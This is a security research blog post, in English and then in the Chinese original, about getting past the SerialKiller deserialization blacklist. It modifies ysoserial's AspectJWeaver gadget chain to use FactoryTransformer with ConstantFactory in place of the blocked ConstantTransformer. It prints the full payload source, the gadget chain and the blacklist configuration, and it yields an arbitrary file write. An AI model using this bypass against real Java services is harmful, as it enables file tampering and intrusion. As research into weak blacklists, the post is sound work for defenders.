Customizing the AspectJWeave Gadget to Bypass serialKiller
1. The Principle Behind SerialKiller
SerialKiller employs a blacklist to restrict deserialization of specific classes.
Contents of serialkiller.conf:
<?xml version="1.0" encoding="UTF-8"?>
<!-- serialkiller.conf -->
<config>
<refresh>6000</refresh>
<mode>
<!-- Set to 'false' for blocking mode -->
<profiling>false</profiling>
</mode>
<blacklist>
<regexps>
<!-- Blacklisted classes from ysoserial payloads -->
<regexp>bsh\.XThis$</regexp>
<regexp>org\.apache\.commons\.collections\.Transformer$</regexp>
<regexp>org\.codehaus\.groovy\.runtime\.MethodClosure$</regexp>
<!-- ... (truncated for brevity) -->
</regexps>
</blacklist>
<whitelist>
<regexps>
<regexp>.*</regexp>
</regexps>
</whitelist>
</config>
The blacklist restricts critical classes from ysoserial payloads. To apply this blacklist during project development, you can use the following code to configure the deserialization process:
ObjectInputStream ois = new SerialKiller(is, "serialkiller.conf");
String msg = (String) ois.readObject();
The SerialKiller class extends ObjectInputStream and overrides its resolveClass method. During deserialization, every class name is checked against the blacklist using the following logic:
@Override
protected Class<?> resolveClass(final ObjectStreamClass serialInput) throws IOException, ClassNotFoundException {
config.reloadIfNeeded();
// Blacklist enforcement
for (Pattern blackPattern : config.blacklist()) {
Matcher blackMatcher = blackPattern.matcher(serialInput.getName());
if (blackMatcher.find()) {
if (profiling) {
LOGGER.info(String.format("Blacklist match: '%s'", serialInput.getName()));
} else {
LOGGER.error(String.format("Blocked by blacklist '%s'. Match found for '%s'", blackPattern.pattern(), serialInput.getName()));
throw new InvalidClassException(serialInput.getName(), "Class blocked from deserialization (blacklist)");
}
}
}
// Whitelist enforcement
boolean safeClass = false;
for (Pattern whitePattern : config.whitelist()) {
Matcher whiteMatcher = whitePattern.matcher(serialInput.getName());
if (whiteMatcher.find()) {
safeClass = true;
if (profiling) {
LOGGER.info(String.format("Whitelist match: '%s'", serialInput.getName()));
}
break;
}
}
if (!safeClass && !profiling) {
LOGGER.error(String.format("Blocked by whitelist. No match found for '%s'", serialInput.getName()));
throw new InvalidClassException(serialInput.getName(), "Class blocked from deserialization (non-whitelist)");
}
return super.resolveClass(serialInput);
}
However, SerialKiller has not been updated for over five years. For example, the AspectJWeaver payload added to ysoserial in 2021 is not included in the blacklist.
Does this mean AspectJWeaver can bypass SerialKiller?
2. Testing the Original AspectJWeaver Payload
We used the newly added AspectJWeaver payload from ysoserial for testing. First, we integrated the SerialKiller library into ysoserial by adding it as a dependency. Then, we modified the deserialize method in the Deserializer class as follows:
This setup applied SerialKiller’s blacklist to the deserialization process. Running the AspectJWeaver payload produced the following result:
An error occurred because the AspectJWeaver payload used the org.apache.commons.collections.functors.ConstantTransformer class, which is blacklisted by SerialKiller. Although SerialKiller does not explicitly target the AspectJWeaver payload, it indirectly blocks it through a general blacklist rule for commons-collections payloads.
Analyzing the AspectJWeaver Payload
Let’s examine the AspectJWeaver exploitation chain code:
public class OldAspectJWeaver implements ObjectPayload<Serializable> {
public Serializable getObject(final String command) throws Exception {
int sep = command.lastIndexOf(';');
if (sep < 0) {
throw new IllegalArgumentException("Command format is: <filename>:<base64 Object>");
}
String[] parts = command.split(";");
String filename = parts[0];
byte[] content = Base64.decodeBase64(parts[1]);
Constructor ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
Object simpleCache = ctor.newInstance(".", 12);
Transformer ct = new ConstantTransformer(content);
Map lazyMap = LazyMap.decorate((Map) simpleCache, ct);
TiedMapEntry entry = new TiedMapEntry(lazyMap, filename);
HashSet map = new HashSet(1);
map.add("foo");
Field f = null;
try {
f = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException e) {
f = HashSet.class.getDeclaredField("backingMap");
}
Reflections.setAccessible(f);
HashMap innimpl = (HashMap) f.get(map);
Field f2 = null;
try {
f2 = HashMap.class.getDeclaredField("table");
} catch (NoSuchFieldException e) {
f2 = HashMap.class.getDeclaredField("elementData");
}
Reflections.setAccessible(f2);
Object[] array = (Object[]) f2.get(innimpl);
Object node = array[0];
if (node == null) {
node = array[1];
}
Field keyField = null;
try {
keyField = node.getClass().getDeclaredField("key");
} catch (Exception e) {
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}
Reflections.setAccessible(keyField);
keyField.set(node, entry);
return map;
}
public static void main(String[] args) throws Exception {
args = new String[]{"ahi.txt;YWhpaGloaQ=="};
PayloadRunner.run(OldAspectJWeaver.class, args);
}
}
The AspectJWeaver chain ultimately achieves its goal during deserialization by invoking the SimpleCache$StoreableCachingMap#writeToPath method, which writes arbitrary data to any file. However, analyzing the deserialization process reveals that the critical path does not directly include the ConstantTransformer class:
Gadget chain:
HashSet.readObject()
HashMap.put()
HashMap.hash()
TiedMapEntry.hashCode()
TiedMapEntry.getValue()
LazyMap.get()
SimpleCache$StoreableCachingMap.put()
SimpleCache$StoreableCachingMap.writeToPath()
FileOutputStream.write()
Despite this, the ConstantTransformer is used to wrap the content before passing it into the LazyMap#decorate method. Why is this necessary?
Looking into the LazyMap#decorate method, the second parameter must be a Transformer object. This means the content cannot be directly passed; it must first be wrapped into a Transformer object. Otherwise, constructing the serialized object would fail.
At this point, the transform method in the ConstantTransformer class is executed. The ConstantTransformer ensures that the content is correctly returned for further processing. The core implementation of ConstantTransformer is as follows:
public ConstantTransformer(Object constantToReturn) {
this.iConstant = constantToReturn;
}
public Object transform(Object input) {
return this.iConstant;
}
Thus, the use of ConstantTransformer is critical because:
- It allows the content to be wrapped into a Transformer object.
- When the transform method is invoked during deserialization, it ensures the exact content is returned for further execution.
However, the presence of ConstantTransformer in the exploitation chain causes the payload to be detected and blocked by the blacklist.
Modifying the AspectJWeaver Chain to Bypass Detection
To bypass the blacklist, we need to replace ConstantTransformer with another class implementing the Transformer interface while maintaining the same functionality. After reviewing the available classes, FactoryTransformer appears suitable:
private final Factory iFactory;
public FactoryTransformer(Factory factory) {
this.iFactory = factory;
}
public Object transform(Object input) {
return this.iFactory.create(); // Delegates to Factory's create method
}
The FactoryTransformer delegates the transform logic to an instance of the Factory interface. We can use the ConstantFactory class to achieve equivalent functionality:
public ConstantFactory(Object constantToReturn) {
this.iConstant = constantToReturn;
}
public Object create() {
return this.iConstant; // Returns the constant object
}
By wrapping the content in a ConstantFactory object and then passing it to a FactoryTransformer, we replicate the behavior of ConstantTransformer. The modified code is as follows:
Factory ft = new ConstantFactory(content);
Transformer ct = new FactoryTransformer(ft);
Conclusion
With this modification:
- The ConstantFactory ensures the content is stored as a constant.
- The FactoryTransformer retrieves the constant content during deserialization.
- This modified chain bypasses the blacklist by avoiding direct use of ConstantTransformer.
Thus, the AspectJWeaver chain is successfully adapted to evade detection while preserving its functionality.
文章首发于sec-in https://www.sec-in.com/article/1993
1.serialKiller原理:
通过黑名单限制反序列化的类
serialkiller.conf
内容
<?xml version="1.0" encoding="UTF-8"?>
<!-- serialkiller.conf -->
<config>
<refresh>6000</refresh>
<mode>
<!-- set to 'false' for blocking mode -->
<profiling>false</profiling>
</mode>
<blacklist>
<regexps>
<!-- ysoserial's BeanShell1 payload -->
<regexp>bsh\.XThis$</regexp>
<regexp>bsh\.Interpreter$</regexp>
<!-- ysoserial's C3P0 payload -->
<regexp>com\.mchange\.v2\.c3p0\.impl\.PoolBackedDataSourceBase$</regexp>
<!-- ysoserial's CommonsBeanutils1 payload -->
<regexp>org\.apache\.commons\.beanutils\.BeanComparator$</regexp>
<!-- ysoserial's CommonsCollections1,3,5,6 payload -->
<regexp>org\.apache\.commons\.collections\.Transformer$</regexp>
<regexp>org\.apache\.commons\.collections\.functors\.InvokerTransformer$</regexp>
<regexp>org\.apache\.commons\.collections\.functors\.ChainedTransformer$</regexp>
<regexp>org\.apache\.commons\.collections\.functors\.ConstantTransformer$</regexp>
<regexp>org\.apache\.commons\.collections\.functors\.InstantiateTransformer$</regexp>
<!-- ysoserial's CommonsCollections2,4 payload -->
<regexp>org\.apache\.commons\.collections4\.functors\.InvokerTransformer$</regexp>
<regexp>org\.apache\.commons\.collections4\.functors\.ChainedTransformer$</regexp>
<regexp>org\.apache\.commons\.collections4\.functors\.ConstantTransformer$</regexp>
<regexp>org\.apache\.commons\.collections4\.functors\.InstantiateTransformer$</regexp>
<regexp>org\.apache\.commons\.collections4\.comparators\.TransformingComparator$</regexp>
<!-- ysoserial's FileUpload1,Wicket1 payload -->
<regexp>org\.apache\.commons\.fileupload\.disk\.DiskFileItem$</regexp>
<regexp>org\.apache\.wicket\.util\.upload\.DiskFileItem$</regexp>
<!-- ysoserial's Groovy payload -->
<regexp>org\.codehaus\.groovy\.runtime\.ConvertedClosure$</regexp>
<regexp>org\.codehaus\.groovy\.runtime\.MethodClosure$</regexp>
<!-- ysoserial's Hibernate1,2 payload -->
<regexp>org\.hibernate\.engine\.spi\.TypedValue$</regexp>
<regexp>org\.hibernate\.tuple\.component\.AbstractComponentTuplizer$</regexp>
<regexp>org\.hibernate\.tuple\.component\.PojoComponentTuplizer$</regexp>
<regexp>org\.hibernate\.type\.AbstractType$</regexp>
<regexp>org\.hibernate\.type\.ComponentType$</regexp>
<regexp>org\.hibernate\.type\.Type$</regexp>
<regexp>com\.sun\.rowset\.JdbcRowSetImpl$</regexp>
<!-- ysoserial's JBossInterceptors1, JavassistWeld1 payload -->
<regexp>org\.jboss\.(weld\.)?interceptor\.builder\.InterceptionModelBuilder$</regexp>
<regexp>org\.jboss\.(weld\.)?interceptor\.builder\.MethodReference$</regexp>
<regexp>org\.jboss\.(weld\.)?interceptor\.proxy\.DefaultInvocationContextFactory$</regexp>
<regexp>org\.jboss\.(weld\.)?interceptor\.proxy\.InterceptorMethodHandler$</regexp>
<regexp>org\.jboss\.(weld\.)?interceptor\.reader\.ClassMetadataInterceptorReference$</regexp>
<regexp>org\.jboss\.(weld\.)?interceptor\.reader\.DefaultMethodMetadata$</regexp>
<regexp>org\.jboss\.(weld\.)?interceptor\.reader\.ReflectiveClassMetadata$</regexp>
<regexp>org\.jboss\.(weld\.)?interceptor\.reader\.SimpleInterceptorMetadata$</regexp>
<regexp>org\.jboss\.(weld\.)?interceptor\.spi\.instance\.InterceptorInstantiator$</regexp>
<regexp>org\.jboss\.(weld\.)?interceptor\.spi\.metadata\.InterceptorReference$</regexp>
<regexp>org\.jboss\.(weld\.)?interceptor\.spi\.metadata\.MethodMetadata$</regexp>
<regexp>org\.jboss\.(weld\.)?interceptor\.spi\.model\.InterceptionModel$</regexp>
<regexp>org\.jboss\.(weld\.)?interceptor\.spi\.model\.InterceptionType$</regexp>
<!-- ysoserial's JRMPClient payload -->
<regexp>java\.rmi\.registry\.Registry$</regexp>
<regexp>java\.rmi\.server\.ObjID$</regexp>
<regexp>java\.rmi\.server\.RemoteObjectInvocationHandler$</regexp>
<!-- ysoserial's JSON1 payload -->
<regexp>net\.sf\.json\.JSONObject$</regexp>
<!-- ysoserial's Jdk7u21 payload -->
<regexp>javax\.xml\.transform\.Templates$</regexp>
<!-- ysoserial's Jython1 payload -->
<regexp>org\.python\.core\.PyObject$</regexp>
<regexp>org\.python\.core\.PyBytecode$</regexp>
<regexp>org\.python\.core\.PyFunction$</regexp>
<!-- ysoserial's MozillaRhino1 payload -->
<regexp>org\.mozilla\.javascript\..*$</regexp>
<!-- ysoserial's Myfaces1,2 payload -->
<regexp>org\.apache\.myfaces\.context\.servlet\.FacesContextImpl$</regexp>
<regexp>org\.apache\.myfaces\.context\.servlet\.FacesContextImplBase$</regexp>
<regexp>org\.apache\.myfaces\.el\.CompositeELResolver$</regexp>
<regexp>org\.apache\.myfaces\.el\.unified\.FacesELContext$</regexp>
<regexp>org\.apache\.myfaces\.view\.facelets\.el\.ValueExpressionMethodExpression$</regexp>
<!-- ysoserial's ROME payload -->
<regexp>com\.sun\.syndication\.feed\.impl\.ObjectBean$</regexp>
<!-- ysoserial's Spring1,2 payload -->
<regexp>org\.springframework\.beans\.factory\.ObjectFactory$</regexp>
<regexp>org\.springframework\.core\.SerializableTypeWrapper\$MethodInvokeTypeProvider$</regexp>
<regexp>org\.springframework\.aop\.framework\.AdvisedSupport$</regexp>
<regexp>org\.springframework\.aop\.target\.SingletonTargetSource$</regexp>
<regexp>org\.springframework\.aop\.framework\.JdkDynamicAopProxy$</regexp>
<regexp>org\.springframework\.core\.SerializableTypeWrapper\$TypeProvider$</regexp>
<!-- other trigger gadgets or payloads -->
<regexp>java\.util\.PriorityQueue$</regexp>
<regexp>java\.lang\.reflect\.Proxy$</regexp>
<regexp>javax\.management\.MBeanServerInvocationHandler$</regexp>
<regexp>javax\.management\.openmbean\.CompositeDataInvocationHandler$</regexp>
<regexp>org\.springframework\.aop\.framework\.JdkDynamicAopProxy$</regexp>
<regexp>java\.beans\.EventHandler$</regexp>
<regexp>java\.util\.Comparator$</regexp>
<regexp>org\.reflections\.Reflections$</regexp>
</regexps>
</blacklist>
<whitelist>
<regexps>
<regexp>.*</regexp>
</regexps>
</whitelist>
</config>
这个黑名单中可以看到是针对ysoserial中主要的payload中的关键类进行了限制。
在项目开发中如果要使用readObject方法,使用以下代码配置即可引入黑名单
ObjectInputStream ois = new SerialKiller(is, "serialkiller.conf");
String msg = (String) ois.readObject();
SerialKiller类继承自ObjectInputStream类,在SerialKiller中重写ObjectInputStream类的resolveClass方法,在resolveClass方法中对反序列化类进行校验,根据ObjectInputStream类中readObject的逻辑,当调用readObject方法时,readObject会调用resolveClass方法,反序列化中的每一个类名都会进入resolveClass方法中与黑名单列表中的进行比对
@Override
protected Class<?> resolveClass(final ObjectStreamClass serialInput) throws IOException, ClassNotFoundException {
config.reloadIfNeeded();
// Enforce SerialKiller's blacklist
for (Pattern blackPattern : config.blacklist()) {
Matcher blackMatcher = blackPattern.matcher(serialInput.getName());
if (blackMatcher.find()) {
if (profiling) {
// Reporting mode
LOGGER.info(String.format("Blacklist match: '%s'", serialInput.getName()));
} else {
// Blocking mode
LOGGER.error(String.format("Blocked by blacklist '%s'. Match found for '%s'", new Object[] {blackPattern.pattern(), serialInput.getName()}));
throw new InvalidClassException(serialInput.getName(), "Class blocked from deserialization (blacklist)");
}
}
}
// Enforce SerialKiller's whitelist
boolean safeClass = false;
for (Pattern whitePattern : config.whitelist()) {
Matcher whiteMatcher = whitePattern.matcher(serialInput.getName());
if (whiteMatcher.find()) {
safeClass = true;
if (profiling) {
// Reporting mode
LOGGER.info(String.format("Whitelist match: '%s'", serialInput.getName()));
}
// We have found a whitelist match, no need to continue
break;
}
}
if (!safeClass && !profiling) {
// Blocking mode
LOGGER.error(String.format("Blocked by whitelist. No match found for '%s'", serialInput.getName()));
throw new InvalidClassException(serialInput.getName(), "Class blocked from deserialization (non-whitelist)");
}
return super.resolveClass(serialInput);
}
然而这个serialKiller最近更新都在5年前了,在21年的时候ysoserial更新了一个新的payload AspectJWeaver
也就是说serialKiller这个项目中并没有针对AspectJWeaver这个利用链的黑名单
那么AspectJWeaver就可以拿来即用绕过serialKiller了吗?
2.原版AspectJWeaver的使用
我们直接拿ysoserial中更新的AspectJWeaver利用链进行测试,把serialKiller项目打成jar包后引入到ysoserial项目中,然后把ysoserial中的Deserializer类的deserialize方法代码修改成如下
这就配置上serialKiller了,接着直接运行AspectJWeaver
发现控制台报错了,原因是AspectJWeaver利用链中用到了org.apache.commons.collections.functors.ConstantTransformer,触发了黑名单中的'org.apache.commons.collections.functors.ConstantTransformer$'这一条。
也就是说虽然serialKiller中没有专门针对AspectJWeaver利用链的黑名单,但却命中了针对commonscollection1、3、5、6黑名单中的一条,看一下AspectJWeaver利用链
public class OldAspectJWeaver implements ObjectPayload<Serializable> {
public Serializable getObject(final String command) throws Exception {
int sep = command.lastIndexOf(';');
if ( sep < 0 ) {
throw new IllegalArgumentException("Command format is: <filename>:<base64 Object>");
}
String[] parts = command.split(";");
String filename = parts[0];
byte[] content = Base64.decodeBase64(parts[1]);
Constructor ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
Object simpleCache = ctor.newInstance(".", 12);
Transformer ct = new ConstantTransformer(content);
Map lazyMap = LazyMap.decorate((Map)simpleCache, ct);
TiedMapEntry entry = new TiedMapEntry(lazyMap, filename);
HashSet map = new HashSet(1);
map.add("foo");
Field f = null;
try {
f = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException e) {
f = HashSet.class.getDeclaredField("backingMap");
}
Reflections.setAccessible(f);
HashMap innimpl = (HashMap) f.get(map);
Field f2 = null;
try {
f2 = HashMap.class.getDeclaredField("table");
} catch (NoSuchFieldException e) {
f2 = HashMap.class.getDeclaredField("elementData");
}
Reflections.setAccessible(f2);
Object[] array = (Object[]) f2.get(innimpl);
Object node = array[0];
if(node == null){
node = array[1];
}
Field keyField = null;
try{
keyField = node.getClass().getDeclaredField("key");
}catch(Exception e){
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}
Reflections.setAccessible(keyField);
keyField.set(node, entry);
return map;
}
public static void main(String[] args) throws Exception {
args = new String[]{"ahi.txt;YWhpaGloaQ=="};
PayloadRunner.run(OldAspectJWeaver.class, args);
}
}
反序列化时调用如下:
最终是在SimpleCache$StoreableCachingMap的wirteToPath方法中达到向任意文件中写入任意数据的目的
从调用链可以看到,反序列化时的关键调用链中是没有ConstantTransformer类的
Gadget chain:
HashSet.readObject()
HashMap.put()
HashMap.hash()
TiedMapEntry.hashCode()
TiedMapEntry.getValue()
LazyMap.get()
SimpleCache$StorableCachingMap.put()
SimpleCache$StorableCachingMap.writeToPath()
FileOutputStream.write()
但是反序列化中用到了LazyMap,并且第15行中 Map lazyMap = LazyMap.decorate((Map)simpleCache, ct);
而这里的ct是14行的返回值: Transformer ct = new ConstantTransformer(content);
14行就是用到org.apache.commons.collections.functors.ConstantTransformer的地方,这里为什么要用到ConstantTransformer呢
进入LazyMap#decorate方法可以看到第二个参数必须是Transformer对象,那么就说明我们的content是无法直接传入decorate方法的,必须将其包装成Transformer对象,否则无法成功构造出序列化流
而在反序列化的过程中调用到的是LazyMap.get, 查看其代码
this.factory就是序列化时候LazyMap.decorate传入的Transformer实例,Object value则来自this.factory.transform的返回值,然后调用this.map.put进入SimpleCache$StorableCachingMap.put方法,可以看到value就是我们最终写入文件的任意数据
那么我们现在对AspectJWeaver链中的要写入的任意数据Content有了两个要求
1.必须将Content包装成Transformer对象
2.调用该Transformer对象的transform方法后返回的值就是Content本身
这里就很眼熟了,我们在学习CommonCollections1利用链的时候就知道,ConstantTransformer中的transform方法的功能就是将初始化时传入的对象返回。
它的关键代码如下:
public ConstantTransformer(Object constantToReturn) {
this.iConstant = constantToReturn;
}
public Object transform(Object input) {
return this.iConstant;
}
理清了这个逻辑,就会发现ConstantTransformer类在这条链里存在的必要性,那么是否可以尝试用其他实现Transformer接口的类来代替ConstantTransformer从而绕过黑名单呢?
3.修改AspectJweaver
看一下实现Transformer接口的类,不多
一个一个看实现代码,发现FactoryTransformer好像有点眉目
private final Factory iFactory;
public FactoryTransformer(Factory factory) {
this.iFactory = factory;
}
public Object transform(Object input) {
return this.iFactory.create();
}
它的关键代码和ConstantTransformer非常相似,只是它的transform方法返回的并不直接是this.iFactory, 而是其调用create()后的结果,如果我们找到一个Factory实现类的create方法能和ConstantTransformer#transform有着同样的逻辑就能通过两次包装实现ConstantTransformer的效果,这个Factory接口的实现类也很少
其中ConstantFactory一看名字就有得搞,查看其关键代码,果然和ConstantTransformer是同样的逻辑
public ConstantFactory(Object constantToReturn) {
this.iConstant = constantToReturn;
}
public Object create() {
return this.iConstant;
}
那么现在我们将原来的Transformer ct = new ConstantTransformer(content);
改写成
Factory ft = new ConstantFactory(content);
Transformer ct = new FactoryTransformer(ft);
这样在反序列化时调用到 FactoryTransformer的transform方法时,this.iFactory.create()返回的就是ConstantFactory实例的iConstant属性,即最终依然返回content本身。
修改后该payload即可绕过serialKiller写任意文件
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 地球OL攻略 —— 某应届生求职总结
· 周边上新:园子的第一款马克杯温暖上架
· Open-Sora 2.0 重磅开源!
· 提示词工程——AI应用必不可少的技术
· .NET周刊【3月第1期 2025-03-02】